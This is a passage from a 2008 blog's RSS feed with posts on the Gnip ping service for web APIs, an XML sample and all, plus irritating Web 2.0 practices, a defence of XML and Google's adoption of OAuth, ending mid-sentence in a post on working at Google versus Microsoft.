src="http://www.25hoursaday.com/weblog/content/binary/WindowsLiveWriter/FreedomofSpeechDoesntMeanFreedomfromCons_5256/videoe79f529707db.jpg" galleryimg="no" onload="var downlevelDiv = document.getElementById('9b9b6ee0-8dc7-4992-8c09-62dbd8d8a89b'); downlevelDiv.innerHTML = &quot;&lt;div&gt;&lt;object width=\&quot;425\&quot; height=\&quot;355\&quot;&gt;&lt;param name=\&quot;movie\&quot; value=\&quot;http://www.youtube.com/v/a0qMe7Z3EYg\&quot;&gt;&lt;\/param&gt;&lt;param name=\&quot;wmode\&quot; value=\&quot;transparent\&quot;&gt;&lt;\/param&gt;&lt;embed src=\&quot;http://www.youtube.com/v/a0qMe7Z3EYg\&quot; type=\&quot;application/x-shockwave-flash\&quot; wmode=\&quot;transparent\&quot; width=\&quot;425\&quot; height=\&quot;355\&quot;&gt;&lt;\/embed&gt;&lt;\/object&gt;&lt;\/div&gt;&quot;;" alt=""></img> </a> </div> </div> </div> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> </p> <p> <b>Now Playing:</b> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=NWA">NWA</a> – <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Niggaz 4 Life&amp;artistTerm=NWA">N*ggaz 4 Life</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=9UF3Mj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=9UF3Mj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=58zfej"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=58zfej" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=e2vSkj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=e2vSkj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=61irAJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=61irAJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/329803702" height="1" width="1"/> Gnip: FeedBurner + Ping Server for Web APIs http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=6610ac1c-1984-4c9f-9efb-dd03f1bac524 2008-07-07T06:13:49.484375-07:00 2008-07-07T06:13:49.484375-07:00 <p> <a href="http://www.gnipcentral.com/">Gnip</a> is a newly launched startup that pitches itself as a service that aims to “make data portability suck less”. Mike Arrington describes the service in his post <a href="http://www.techcrunch.com/2008/07/01/gnip-launches-to-ease-the-strain-on-web-services/">Gnip Launches To Ease The Strain On Web Services</a> which is excerpted below </p> <blockquote> <p> <em>A close analogy is a blog ping server (</em> <a href="http://www.techcrunch.com/2005/07/08/profile-weblogscom-ping-server/"> <em>see our overview here</em> </a> <em>). Ping servers tell blog search engines like Technorati and Google Blog Search when a blog has been updated, so the search engines don’t have to constantly re-index sites just to see if new content has been posted. Instead, the blog tells the ping server when it updates, which tells the search engines to drop by and re-index. The creation of the first ping server, Weblogs.com, by Dave Winer resulted in orders of magnitude better efficiency for blog search engines.</em> </p> <p> <em> <img alt="" src="http://www.techcrunch.com/wp-content/uploads/2008/07/gnipchart.jpg"></img> </em> </p> <p> <em>The same thinking basically applies to Gnip. The idea is to gather simple information from social networks - just a username and the fact that they created new content (like writing a Twitter message, for example). Gnip then distributes that data to whoever wants it, and those downstream services can then access the core service’s API, with proper user authentication, and access the actual data (in our example, the actual Twitter message).</em> </p> <p> <em>From a user’s perspective, the result is faster data updates across services and less downtime for services since their APIs won’t be hit as hard.</em> </p> </blockquote> <p> From my perspective, Gnip also shares some similarity to services like <a href="http://www.feedburner.com">FeedBurner</a> as well as blog ping servers. The original purpose of blog ping servers was to make it cheaper for services like <a href="http://www.technorati.com">Technorati</a> and <a href="http://www.readwriteweb.com/archives/blog_search_feedster_quietly_dies.php">Feedster</a> to index the blogosphere without having to invest in a Google-sized server farm and crawl the entire Web every couple of minutes. In addition, since blogs often have tiny readerships and are thus infrequently linked to, crawling alone was not enough to ensure that they find their way into the search index. It wasn’t about taking load off of the sites that were doing the pinging. </p> <p> On the other hand, FeedBurner hosts a site’s RSS feed as a way to take load off of their servers and then provides analytics data so the site doesn’t miss out from losing the direct connection to its subscribers. This is more in line with the expectation that Gnip will take load off of a service’s API servers. However unlike FeedBurner, Gnip doesn’t actually store the user data from the social networking site. It simply stores a record that indicates that “user X on site Y made an update of type Z at time T”.  The thinking is that web sites will publish a notification to Gnip whenever their users perform an update. Below is a sample interaction between Digg and Gnip where Digg notifies Gnip that the users amy and john.doe have dugg two stories. </p> <blockquote> <pre> <code>===&gt; POST /publishers/digg/activity.xml Accept: application/xml Content-Type: application/xml &lt;activities&gt; &lt;activity at="2008-06-08T10:12:42Z" uid="amy" type="dugg" guid="http://digg.com/odd_stuff/a_story"/&gt; &lt;activity at="2008-06-09T09:14:07Z" uid="john.doe" type="dugg" guid="http://digg.com/odd_stuff/really_weird"/&gt; &lt;/activities&gt; &lt;--- 200 OK Content-Type: application/xml &lt;result&gt;Success&lt;/result&gt; </code> </pre> </blockquote> <p> </p> <p> There are two modes in which "subscribers" can choose to interact with the data published to Gnip. The first is in a mode similar to how blog search engines interact with the <a href="http://www.weblogs.com/api.html#10">changes.xml file on Weblogs.com</a> and other blog ping servers. For example, services like <a href="http://www.summize.com">Summize</a> or <a href="http://www.tweetscan.com/">TweetScan</a> can ask Gnip for the last hour of changes on Twitter instead of whatever mechanism they are using today to crawl the site. Below is what a sample interaction to retrieve the most recent updates on Twitter from Gnip would look like </p> <blockquote> <pre> <code>===&gt;<br> GET /publishers/<b>twitter</b>/activity/current.xml<br> Accept: application/xml<br><br> &lt;---<br> 200 OK<br> Content-Type: application/xml<br><br> &lt;activities&gt;<br> &lt;activity at="2008-06-08T10:12:07Z" uid="john.doe" type="tweet" guid="http://twitter.com/john.doe/statuses/42"/&gt;<br> &lt;activity at="2008-06-08T10:12:42Z" uid="amy" type="tweet" guid="http://twitter.com/amy/statuses/52"/&gt;<br> &lt;/activities&gt; </code> </pre> </blockquote> <p> The main problem with this approach is the same one that affects blog ping servers. If the rate of updates is more than the ping server can handle then it may begin to fall behind or lose updates completely. Services that don’t want to risk their content not being crawled are best off providing their own update stream that applications can poll periodically. That’s why the folks at Six Apart came up with the <a href="http://updates.sixapart.com/">Six Apart Update Stream for LiveJournal, TypePad and Vox weblogs</a>. </p> <p> The second mode is one that has gotten Twitter fans like Dave Winer <a title="I wish Twitter would partner with Gnip" href="http://www.scripting.com/stories/2008/07/01/iWishTwitterWouldPartnerWi.html">raving about Gnip being the solution to Twitter’s scaling problems</a>. In this mode, an application creates a <a href="http://docs.google.com/View?docid=dgkhvp8s_3hhwdmdfb#Collections">collection</a> of one or more usernames they are interested in. Below is what a collection document created by the <a href="http://arsecandle.org/twadget/">Twadget</a> application to indicate that it is interested in my Twitter updates might look like. </p> <blockquote> <p> &lt;collection name="twadget-carnage4life"&gt;<br>      &lt;uid name="carnage4life" publisher.name="twitter"/&gt;<br> &lt;/collection&gt; </p> </blockquote> <p> Then instead of polling Twitter every 5 minutes for updates it polls Gnip every 5 minutes for updates and only talks to Twitter’s servers when Gnip indicates that I’ve made an update since the last time the application polled Gnip. The interaction between Twadget and Gnip would then be as follows </p> <blockquote> <pre> <code>===&gt;<br> GET /collections/twadget-carnage4life/activity/current.xml<br> Accept: application/xml<br> &lt;---<br> 200 OK<br> Content-Type: application/xml<br><br> &lt;activities&gt;<br> &lt;activity at="2008-06-08T10:12:07Z" uid="carnage4life" type="tweet" guid="<a title="http://twitter.com/Carnage4Life/statuses/850726804" href="http://twitter.com/Carnage4Life/statuses/850726804">http://twitter.com/Carnage4Life/statuses/850726804</a>"/&gt;</code> <code> </code> <br> <code> &lt;/activities&gt; </code> </pre> </blockquote> <p> Of course, this makes me wonder why one would think that it is feasible for Gnip to build a system that can handle the API polling traffic of every microblogging and social networking site out there but it is infeasible for Twitter to figure out how to handle the polling traffic for their own service. Talk about lowered expectations. <img title="Wink" style="vertical-align: middle" alt="Wink" src="http://shared.live.com/HjKMzTS-xzcms40%21CabizA/emoticons/smile_wink.gif"></img></p> <p> So what do I think of Gnip? I think the ping server mode may be of some interest for services that think it is cheaper to have code that pings Gnip after every user update instead building out an update stream service. However since a lot of sites already have some equivalent of the <a href="http://twitter.com/public_timeline">public timeline</a> it isn’t clear that there is a huge <strong><u>need</u></strong> for a ping service. Crawlers can just hit the public timeline which I <em>assume</em> is what services like Summize and TweetScan do to keep their indexes of tweets up to date. </p> <p> As for using Gnip as a mechanism for reducing the load API clients put on a microblogging or similar service? Gnip is <strong><u>totally useless</u></strong> for that in it’s current incarnation. API clients aren’t interested in updates made by single user. They are interested in all the updates made by all the people the user is following. So for Twadget to use Gnip to lighten the load it causes on Twitter’s servers on my behalf, it has to build a collection of all the people I am following in Gnip and then keep that list of users in sync with whatever that list is on Twitter. But if it has to constantly poll Twitter for my friend list, isn’t it still putting the same amount of load on Twitter? I guess this could be fixed by having Twitter publish follower/following lists to Gnip but that introduces all sorts of interesting technical and privacy issues. But that doesn’t matter since the folks at Gnip brag <a title="The HOW of Gnip: keep it simple stupid!" href="http://blog.gnipcentral.com/2008/07/04/the-how-of-gnip-keep-it-simple-stupid/">about only keeping 60 minutes of worth of updates</a> as the “secret sauce” to their scalability. This means if I shut my Twitter client hasn’t polled Gnip in a 60 minute window (maybe my laptop is closed) then it doesn’t matter anyway and it has to poll Twitter.  I suspect someone didn’t finish doing their homework before rushing to “launch” Gnip. </p> <p> <u>PS:</u> One thing that is confusing to me is why all communication between applications and Gnip needs to be over SSL. The only thing I can see it adding is making it more expensive for Gnip run their service. I can’t think of any reason why the interactions described above need to be over a secure channel. </p> <p> <b>Now Playing:</b> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lil Wayne">Lil Wayne</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Hustler Musik&amp;artistTerm=Lil Wayne">Hustler Musik</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=MDylXj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=MDylXj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=mavJXj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=mavJXj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=x8Szij"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=x8Szij" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ngq2xJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ngq2xJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/328875494" height="1" width="1"/> A List of Companies Working Hard to Screw Up My Web Experience http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=cfa4d14a-486c-463a-b127-7820690e5eed 2008-07-07T06:13:08.359375-07:00 2008-07-07T06:13:08.359375-07:00 <p> Every once in a while I encounter an online service or Web site that is so irritating that it seems like the people behind the service are just in it to frustrate Web users. And I don’t mean the obvious candidates like email spammers and purveyors of popup ads since they’ve been around for so long I’ve either learned how to ignore and avoid them. </p> <p> There is a new generation of irritants and many of them are part of the new lunacy we call “Web 2.0” </p> <ol> <li> <p> <b>Flash Widgets with Embedded PDF Documents</b>: Somewhere along the line a bunch of startups decided that they needed to put a “Web 2.0” spin on the simple concept of hosting people’s office documents online. You see, lots of people would like to share documents in PDF or Microsoft Office® formats that aren’t particularly Web friendly. So how have sites like <a href="http://www.scribd.com">Scribd</a> and <a href="http://www.docstoc.com/">Docstoc</a> fixed this problem? By creating a Flash widgets containing the embedded PDF/Office documents like the one shown <a href="http://www.techcrunch.com/2008/04/28/docstoc-raises-325-million-in-series-b-funding/">here</a>. So not only are the documents still in a Web unfriendly format but now I can’t even download them and use the tools on my desktop to read them. It’s like let’s combine the FAIL of putting non-Web documents on the Web with the fail of a Web-unfriendly format like Flash. FAIL++. By the way, it’s pretty ironic that <a title="Overview of Exchange 2007 Outlook Web Access WebReady Document Viewing" href="http://msexchangeteam.com/archive/2007/03/23/437257.aspx">a Microsoft enterprise product</a> gets this right where so many “Web 2.0” startups get it wrong. </p> </li> <li> <p> </p> <strong>Hovering Over Links Produces Flash Widgets as Pop Over Windows</strong>: The company that takes the cake for spreading this major irritant across the blogosphere is <a href="http://www.snap.com">Snap Technologies</a> and their Snap Shots™ product. There’s nothing quite as irritating as hovering over a link <em>on your way to click another link</em> and leaving a wake of pop over windows with previews of the Web pages at the end of said links. I seriously wonder if anyone finds this useful? <p></p></li> <li> <p> <b>Facebook Advertisers</b>: One of the promises of <a href="http://www.facebook.com">Facebook</a> is that its users will see more relevant advertising because there is all this rich demographic data about the site’s users in their profiles. Somewhere along the line this information is either getting lost or being ignored by Facebook’s advertisers. Even though my profile says I’m married and out of my twenties I keep getting <a href="http://www.facebook.com/album.php?aid=131598&amp;l=37514&amp;id=500050028">borderline sleazy ads</a> whenever I login to play <a href="http://apps.facebook.com/scrabulous/">Scrabulous</a> asking if I want to meet college girls. Then there are the ads which aren’t for dating sites but still use sleazy imagery anyway. It’s mad embarrassing whenever my wife looks over to see what I’m doing on my laptop to have dating site ads blaring in her face. Obviously she knows I’m not on a dating site but still… </p> </li> <li> <p> <b>Forums that Require Registration Showing Up in Search Results </b>: Every once in a while I do a <a href="http://search.live.com/results.aspx?q=site%3Awww.experts-exchange.com+order+of+constructor+calls&amp;go=&amp;form=QBRE">Web search for a programming problem</a> and a couple of links to <a href="http://www.experts-exchange.com/">Experts Exchange</a> end up in the results. What is truly annoying about this site is that the excerpt on the search result page makes  it seem as though the answer to your question is one click away but when you click through you are greeted with <em>“All comments and solutions are available to <b>Premium Service</b> Members only”.</em> I thought search engines had rules about banning sites with that sort of obnoxious behavior? </p> </li> <li> <p> <b>Newspaper Websites with Interstitial Ads and Registration Requirements</b>: Newspapers such as the <a href="http://www.nytimes.com">New York Times</a> often act as if they don’t really want me reading the content on their Web site. If I click on a link to a story on the New York Times site such as <a href="http://www.nytimes.com/2008/07/05/business/05nocera.html?_r=1&amp;partner=rssnyt&amp;emc=rss&amp;oref=slogin">this one</a>, one of two things will happen; I’m either taken to a full page animated advertisement with an option to skip the ad in relatively small font or I get a one sentence summary of the story with a notice that I need to register on their Web site before I can read the story. Either way it’s a bunch of bull crap that prevents me from getting to the news. </p> </li> </ol> <p> There are two things that strike me about this list as notable. The first is that there are an increasing number of “Web 2.0” startups out there who are actively using Flash to <strong><u>cause</u></strong> more problems than they claim to be solving. The second is that requiring registration to view content is an amazingly stupid trend that is beyond dumb. It’s not like people need to register on your site to see ads so why reduce the size of your potential audience by including this road block? That’s just stupid. </p> <p> <b>Now Playing:</b> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Pleasure P">Pleasure P</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Rock Bottom (feat. Lil Wayne)&amp;artistTerm=Pleasure P">Rock Bottom (feat. Lil Wayne)</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=2xiFzj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=2xiFzj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=IEP4Hj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=IEP4Hj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=e0Qlxj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=e0Qlxj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=XqD3nJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=XqD3nJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/328875495" height="1" width="1"/> In Defense of XML http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=5bd5b38e-ae00-4616-86b4-7e35b59435f3 2008-07-02T05:56:10.14-07:00 2008-07-02T05:56:10.14-07:00 <p> Jeff Atwood recently published two anti-XML rants in his blog entitled <a href="http://www.codinghorror.com/blog/archives/001114.html">XML: The Angle Bracket Tax</a> and <a href="http://www.codinghorror.com/blog/archives/001139.html">Revisiting the XML Angle Bracket Tax</a>. The source of his beef with XML and his recommendations to developers are excerpted below </p> <blockquote> <p> <em>Everywhere I look, programmers and programming tools seem to have standardized on </em> <a href="http://en.wikipedia.org/wiki/XML"> <em>XML</em> </a> <em>. Configuration files, build scripts, local data storage, code comments, project files, you name it -- <b>if it's stored in a text file and needs to be retrieved and parsed, it's probably XML.</b> I realize that we have to use something to represent reasonably human readable data stored in a text file, but XML sometimes feels an awful lot like using an enormous sledgehammer to drive common household nails. </em> </p> <p> <em>I'm deeply ambivalent about XML. I'm reminded of this Winston Churchill quote: </em> </p> <blockquote> <em>It has been said that democracy is the worst form of government except all the others that have been tried. </em> </blockquote> <p> <em>XML is like democracy. Sometimes it even works. On the other hand, it also means we end up with stuff like this:</em> </p> <pre>&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt; &lt;SOAP-ENV:Body&gt; &lt;m:GetLastTradePrice xmlns:m="Some-URI"&gt; &lt;symbol&gt;DIS&lt;/symbol&gt; &lt;/m:GetLastTradePrice&gt; &lt;/SOAP-ENV:Body&gt; &lt;/SOAP-ENV:Envelope&gt;</pre> … <br><em>You could do worse than XML. It's a reasonable choice, and if you're going to use XML, then at least <a href="http://www.codinghorror.com/blog/archives/000647.html"><em>learn to use it correctly</em></a><em>. But consider: </em></em><ol><li><em>Should XML be the default choice? </em></li><li><em>Is XML the simplest possible thing that can work for your intended use? </em></li><li><em>Do you </em><a href="http://web.archive.org/web/20060325012720/www.pault.com/xmlalternatives.html"><em>know what the XML alternatives are</em></a><em>? </em></li><li><em>Wouldn't it be nice to have easily readable, understandable data and configuration files, without all those sharp, pointy angle brackets jabbing you directly in your ever-lovin' eyeballs?</em></li></ol><p><em>I don't necessarily think </em><a href="http://c2.com/cgi/wiki?XmlSucks"><em>XML sucks</em></a><em>, but the mindless, blanket application of XML as </em><a href="http://snltranscripts.jt.org/75/75ishimmer.phtml"><em>a dessert topping and a floor wax</em></a><em> certainly does. Like all tools, it's a question of how you use it. Please think twice before subjecting yourself, your fellow programmers, and your users to <b>the XML angle bracket tax</b>. &lt;CleverEndQuote&gt;Again.&lt;/CleverEndQuote&gt;</em></p></blockquote> <p> The question of if and when to use XML is one I am intimately familiar with given that I spent the first 2.5 years of my professional career at Microsoft working on the XML team as the “face of XML” on MSDN. </p> <p> My problem with Jeff’s articles is that they take a very narrow view of how to evaluate a technology. No one should argue that XML is the simplest or most efficient technology to satisfy the uses it has been put to today. It isn’t. The value of XML isn’t in its simplicity or its efficiency. It is in the fact that there is a <strong><u>massive</u></strong> ecosystem of knowledge and tools around working with XML. </p> <p> If I decide to use XML for my data format, I can be sure that my data will be consumable using a variety off-the-shelf tools on practically every platform in use today. In addition, there are a variety of tools for authoring XML, transforming it to HTML or text, parsing it, converting it to objects, mapping it to database schemas, validating it against a schema, and so on. Want to convert my XML config file into a pretty HTML page? I can use XSLT or CSS. Want to validate my XML against a schema? I have my choice of Schematron, Relax NG and XSD. Want to find stuff in my XML document? XPath and XQuery to the rescue. And so on. </p> <p> No other data format hits a similar sweet spot when it comes to ease of use, popularity and breadth of tool ecosystem. </p> <p> So the question you really want to ask yourself before taking on the “Angle Bracket Tax” as Jeff Atwood puts it, is whether the benefits of avoiding XML outweigh the <strong>costs</strong> of giving up the tool ecosystem of XML and the familiarity that practically every developer out there has with the technology? In some cases this might be true such as when deciding whether to go with JSON over XML in AJAX applications (I’ve given <a title="JSON vs. XML: Browser Security Model" href="http://www.25hoursaday.com/weblog/2007/01/02/JSONVsXMLBrowserSecurityModel.aspx">two</a><a title="JSON vs. XML: Browser Programming Models" href="http://www.25hoursaday.com/weblog/2007/01/02/JSONVsXMLBrowserProgrammingModels.aspx">reasons</a> in the past why JSON is a better choice).  On the other hand, I can’t imagine a good reason to want to roll your own data format for office documents or application configuration files as opposed to using XML. </p> FURTHER READING <ul><li><a title="http://msdn.microsoft.com/en-us/library/ms950805.aspx" href="http://msdn.microsoft.com/en-us/library/ms950805.aspx">The XML Litmus Test</a> - Dare Obasanjo provides some simple guidelines for determining when XML is the appropriate technology to use in a software application or architecture design. (6 printed pages) </li><li><a href="http://msdn.microsoft.com/en-us/library/aa468558.aspx">Understanding XML</a> - Learn how the Extensible Markup Language (XML) facilitates universal data access. XML is a plain-text, Unicode-based meta-language: a language for defining markup languages. It is not tied to any programming language, operating system, or software vendor. XML provides access to a plethora of technologies for manipulating, structuring, transforming and querying data. (14 printed pages) </li></ul><p><b>Now Playing:</b><a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Metallica" target="_blank">Metallica</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=The God That Failed&amp;artistTerm=Metallica" target="_blank">The God That Failed</a></p><div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=SgcGZj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=SgcGZj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=tJDHYj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=tJDHYj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=H9Ug2j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=H9Ug2j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=izGTkJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=izGTkJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/324880979" height="1" width="1"/> Some Thoughts on Google Adopting OAuth for GData APIs http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=9a778e9f-da8f-40e5-a17b-f9fcd398700d 2008-07-02T05:52:45.374375-07:00 2008-07-02T05:52:45.374375-07:00 <p> Late last week, the folks on the Google Data APIs blog announced that <a title="OAuth for Google Data APIs" href="http://googledataapis.blogspot.com/2008/06/oauth-for-google-data-apis.html">Google will now be supporting OAuth</a> as the delegated authentication mechanism for all Google Data APIs. This move is meant to encourage the various online services that provide APIs that access a user’s data in the “cloud” to stop reinventing the wheel when it comes to delegated authentication and standardize on a single approach. </p> <p> Every well-designed Web API that provides access to a customer’s data in the cloud utilizes a delegated authentication mechanism which allows users to grant 3rd party applications access to their data without having to give the application their username and password. There is a good analogy for this practice in the <a href="http://oauth.net/about/">OAuth: Introduction page</a> which is excerpted below </p> <blockquote> <h5>What is it For? </h5> <p> Many luxury cars today come with a valet key. It is a special key you give the parking attendant and unlike your regular key, will not allow the car to drive more than a mile or two. Some valet keys will not open the trunk, while others will block access to your onboard cell phone address book. Regardless of what restrictions the valet key imposes, the idea is very clever. You give someone limited access to your car with a special key, while using your regular key to unlock everything. </p> <p> Everyday new website offer services which tie together functionality from other sites. A photo lab printing your online photos, a social network using your address book to look for friends, and APIs to build your own desktop application version of a popular site. These are all great services – what is not so great about some of the implementations available today is their request for your username and password to the other site. When you agree to share your secret credentials, not only you expose your password to someone else (yes, that same password you also use for online banking), you also give them full access to do as they wish. They can do anything they wanted – even change your password and lock you out. </p> <p> This is what OAuth does, it allows the you the User to grant access to your private resources on one site (which is called the Service Provider), to another site (called Consumer, not to be confused with you, the User). While OpenID is all about using a single identity to sign into many sites, OAuth is about giving access to your stuff without sharing your identity at all (or its secret parts). </p> </blockquote> <p> So every service provider invented their own protocol to do this, all of which are different but have the same basic components. Today we have <a href="http://code.google.com/apis/gdata/authsub.html">Google AuthSub</a>, <a href="http://developer.yahoo.com/auth/">Yahoo! BBAuth</a>, <a href="http://msdn.microsoft.com/en-us/library/cc287637.aspx">Windows Live DelAuth</a>, <a href="http://dev.aol.com/api/openauth">AOL OpenAuth</a>, the <a href="http://www.flickr.com/services/api/auth.spec.html">Flickr Authentication API</a>, the <a href="http://developers.facebook.com/documentation.php?doc=auth">Facebook Authentication API</a> and others. All different, proprietary solutions to the same problem. </p> <p> This ends up being problematic for developers because if you want to build an application that talks to multiple services you not only have to deal with the different APIs provided by these services but also the different authorization/authentication models they utilize as well. In a world where “social aggregation” is becoming more commonplace with services like <a href="http://www.plaxo.com/tour">Plaxo Pulse</a> &amp; <a href="http://friendfeed.com/about/">FriendFeed</a> and more applications are trying to bridge the desktop/cloud divide like <a href="http://www.melsam.com/outsync/">OutSync</a> and <a title="RSS Bandit Syncs RSS Feeds Between Desktop and Google Reader" href="http://lifehacker.com/396865/rss-bandit-syncs-rss-feeds-between-desktop-and-google-reader">RSS Bandit</a>, it sucks that these applications have to rewrite the same type of code over and over again to deal with the basic task of getting permission to access a user’s data. Standardizing on OAuth is meant to fix that. A number of startups like Digg &amp; Twitter as well as major players like Yahoo and Google have promised to support it, so this should make the lives of developers easier. </p> <p> Of course, we still have work to do as an industry when it comes to the constant wheel reinvention in the area of Web APIs. Chris Messina points to another place where every major service provider has invented a different proprietary protocol for doing the same task in his post <a title="http://factoryjoe.com/blog/2008/06/04/inventing-contact-schemas-for-fun-and-profit-ugh/" href="http://factoryjoe.com/blog/2008/06/04/inventing-contact-schemas-for-fun-and-profit-ugh/">Inventing contact schemas for fun and profit! (Ugh)</a> where he writes </p> <blockquote> <p> <em>And then </em> <a href="http://code.google.com/apis/contacts/"> <em>there</em> </a> <em> </em> <a href="http://msdn.microsoft.com/en-us/library/bb463989.aspx"> <em>were</em> </a> <em> </em> <a href="http://developer.yahoo.com/addressbook/"> <em>three</em> </a> <br> <em>... <br> Today, Yahoo! </em> <a href="http://developer.yahoo.net/blog/archives/2008/06/addressbook_api.html"> <em>announced the public availability</em> </a> <em> of their own </em> <a href="http://developer.yahoo.com/addressbook/"> <em>Address Book API</em> </a> <em>. </em> </p> <p> <em>However, I have to lament yet more needless reinvention of contact schema. Why is this a problem? Well, as I pointed out about Facebook’s approach to developing their own platform methods and formats, having to write and debug against yet another contact schema makes the “tax” of adding support for contact syncing and export increasingly onerous for sites and web services that want to better serve their customers by letting them host and maintain their address book elsewhere.</em> </p> <p> <em>This isn’t just a problem that I have with Yahoo!. It’s </em> <a href="http://factoryjoe.com/blog/2007/11/01/hcard-for-openid-simple-registration-and-attribute-exchange/"> <em>something that I encountered last November</em> </a> <em> with the </em> <a href="http://openid.net/specs/openid-simple-registration-extension-1_0.html"> <abbr> <em>SREG</em> </abbr> </a> <em> and proposed </em> <a href="http://www.axschema.org/types/"> <em>Attribute Exchange profile definition</em> </a> <em>. And yet again when </em> <a href="http://googledataapis.blogspot.com/2008/03/3-2-1-contact-api-has-landed.html"> <em>Google announced their Contacts API</em> </a> <em>. And then again when </em> <a href="http://dev.live.com/blogs/devlive/archive/2008/03/25/237.aspx"> <em>Microsoft released theirs</em> </a> <em>! Over and over again we’re seeing better ways of fighting the password anti-pattern flow of inviting friends to new social services, but having to implement support for countless contact schemas. <strong>What we need is one common contacts interchange format and I strongly suggest that it inherit from vcard with allowances or extension points for contemporary trends in social networking profile data.</strong></em> </p> <p> <em>I’ve gone ahead and whipped up a </em> <a href="http://spreadsheets.google.com/pub?key=pSGbbhtwI4kN_nJ1GXeQ7Qg"> <em>comparison matrix between the primary contact schemas</em> </a> <em> to demonstrate the mess we’re in.</em> </p> </blockquote> <p> Kudos to the folks at Google for trying to force the issue when it comes to standardizing on a delegated authentication protocol for use on the Web. However there are still lots of places across the industry where we speak different protocols and thus incur a needless burden on developers when a single language might do. It would be nice to see some of this unnecessary redundancy eliminated in the future. </p> <p> <b>Now Playing:</b> <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=G-Unit">G-Unit</a> - <a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=I Like The Way She Do It&amp;artistTerm=G-Unit">I Like The Way She Do It</a></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=hVdGbj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=hVdGbj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=IGZANj"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=IGZANj" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=2OhS6j"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=2OhS6j" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/Carnage4life?a=ljpJOJ"><img src="http://feeds.feedburner.com/~f/Carnage4life?i=ljpJOJ" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/Carnage4life/~4/324880980" height="1" width="1"/> The GOOG->MSFT Exodus: Working at Google vs. Working at Microsoft http://www.25hoursaday.com/weblog/PermaLink.aspx?guid=4ab11c6e-6b8f-4c5e-92a8-3fd92f27abda 2008-06-29T08:57:25.171-07:00 2008-06-29T21:28:36.765625-07:00 <p> Recently I’ve been bumping into more and more people who’ve either left Google to come to Microsoft or got offers from both companies and picked Microsoft over Google. I believe this is part of a larger trend especially 